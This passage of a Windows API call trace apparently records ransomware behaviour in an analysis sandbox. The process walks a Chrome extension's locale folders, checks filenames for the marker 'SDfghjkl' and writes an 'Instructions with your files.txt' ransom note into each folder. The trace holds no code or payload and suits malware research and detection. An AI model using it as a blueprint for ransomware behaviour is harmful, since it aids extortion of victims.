[0129.621] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.621] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.621] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.621] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.621] CloseHandle (hObject=0x134) returned 1
[0129.622] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.622] GetProcessHeap () returned 0x810000
[0129.622] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.622] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az", cAlternateFileName="")) returned 1
[0129.622] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned 141
[0129.622] GetProcessHeap () returned 0x810000
[0129.622] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.622] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*") returned 143
[0129.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.622] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\.") returned 143
[0129.622] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.622] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\..") returned 144
[0129.622] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.622] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 155
[0129.622] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.622] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.622] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\Instructions with your files.txt") returned 174
[0129.622] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.623] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.624] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.624] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.624] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.624] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.624] CloseHandle (hObject=0x134) returned 1
[0129.624] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.624] GetProcessHeap () returned 0x810000
[0129.624] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.624] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.624] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned 141
[0129.624] GetProcessHeap () returned 0x810000
[0129.624] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.624] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*") returned 143
[0129.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.625] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\.") returned 143
[0129.625] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.625] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\..") returned 144
[0129.625] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.625] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 155
[0129.625] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.625] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.625] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\Instructions with your files.txt") returned 174
[0129.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.626] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.627] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.627] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.627] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.627] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.627] CloseHandle (hObject=0x134) returned 1
[0129.627] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.627] GetProcessHeap () returned 0x810000
[0129.627] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.627] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1
[0129.627] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned 141
[0129.627] GetProcessHeap () returned 0x810000
[0129.627] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.627] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*") returned 143
[0129.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.628] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\.") returned 143
[0129.628] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.628] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\..") returned 144
[0129.628] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.628] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 155
[0129.628] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.628] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.628] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\Instructions with your files.txt") returned 174
[0129.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.628] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.629] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.629] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.630] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.630] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.630] CloseHandle (hObject=0x134) returned 1
[0129.630] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.630] GetProcessHeap () returned 0x810000
[0129.630] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.630] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.630] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned 141
[0129.630] GetProcessHeap () returned 0x810000
[0129.630] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.630] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*") returned 143
[0129.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.631] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\.") returned 143
